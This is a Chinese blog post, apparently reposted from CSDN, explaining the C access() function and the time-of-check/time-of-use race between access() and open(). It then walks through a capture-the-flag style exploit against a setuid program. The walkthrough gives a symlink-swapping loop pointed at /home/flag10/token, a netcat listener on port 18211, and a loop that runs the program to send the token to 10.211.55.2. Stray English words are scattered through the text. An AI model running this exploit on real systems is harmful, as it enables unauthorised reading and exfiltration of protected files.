access()函數用來檢查調用進程是否能夠對指定的文件執行某種操做。併發
================================================================================socket
來自:https://blog.csdn.net/tigerjibo/article/details/11712039函數
1.函數功能:測試
檢查調用進程是否能夠對指定的文件執行某種操做。ui
2.函數原型:spa
1)函數頭文件.net
#include <stdio.h>
#include <unistd.h>code
2)函數blog
int access(const char * pathname, int mode)token
3)形參
pathname:須要檢測的文件路勁名
mode:須要測試的操做模式。
4)函數返回值說明
成功執行時,返回0。失敗返回-1,errno被設爲如下的某個值
EINVAL: 模式值無效
EACCES: 文件或路徑名中包含的目錄不可訪問
ELOOP : 解釋路徑名過程當中存在太多的符號鏈接
ENAMETOOLONG:路徑名太長
ENOENT:路徑名中的目錄不存在或是無效的符號鏈接
ENOTDIR: 路徑名中看成目錄的組件並不是目錄
EROFS: 文件系統只讀
EFAULT: 路徑名指向可訪問的空間外
EIO:輸入輸出錯誤
ENOMEM: 不能獲取足夠的內核內存
ETXTBSY:對程序寫入出錯
5)mode說明
R_OK 測試讀許可權
W_OK 測試寫許可權
X_OK 測試執行許可權
F_OK 測試文件是否存在
================================================================================
常見的用法是先用access()函數判斷文件是否能夠操做,而後再經過open()函數對文件進行相應操做。可是這二者以前存在一個時間差,從而造成了時間條件競爭漏洞,越權讀取文件。
參考下面的代碼:
#include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> int main(int argc, char **argv) { char *file; char *host; if(argc < 3) { printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]); exit(1); } file = argv[1]; host = argv[2]; if(access(argv[1], R_OK) == 0) { int fd; int ffd; int rc; struct sockaddr_in sin; char buffer[4096]; printf("Connecting to %s:18211 .. ", host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, 0); memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(host); sin.sin_port = htons(18211); if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) { printf("Unable to connect to host %s\n", host); exit(EXIT_FAILURE); } #define HITHERE ".oO Oo.\n" if(write(fd, HITHERE, strlen(HITHERE)) == -1) { printf("Unable to write banner to host %s\n", host); exit(EXIT_FAILURE); } #undef HITHERE printf("Connected!\nSending file .. "); fflush(stdout); ffd = open(file, O_RDONLY); if(ffd == -1) { printf("Damn. Unable to open file\n"); exit(EXIT_FAILURE); } rc = read(ffd, buffer, sizeof(buffer)); if(rc == -1) { printf("Unable to read from file: %s\n", strerror(errno)); exit(EXIT_FAILURE); } write(fd, buffer, rc); printf("wrote file!\n"); } else { printf("You don't have access to %s\n", file); } }
先經過access()判斷傳參文件是否可讀(注意:這裏access()函數檢查的是ruid,而不是euid),而後open()打開文件進行讀取併發送數據。access()與open()之間存在時間差,且因爲這裏access()判斷的是ruid,因此能夠經過頻繁改變目標文件,使得access()和open()判斷的不是同一個文件,便可越權打開文件
*****************************************************************************
*利用方法:
假設token文件爲當前用戶不可讀
一、編寫腳本,將有權限與沒有權限的文件循環指向同一個文件
while true; do ln -sf /home/flag10/token /tmp/ttt ln -sf /tmp/aaa /tmp/ttt done
二、攻擊側監聽18211端口
while true;do nc -lvnp 18211;done
三、執行該程序,獲取文件
while true; do /home/flag10/flag10 /tmp/ttt 10.211.55.2 done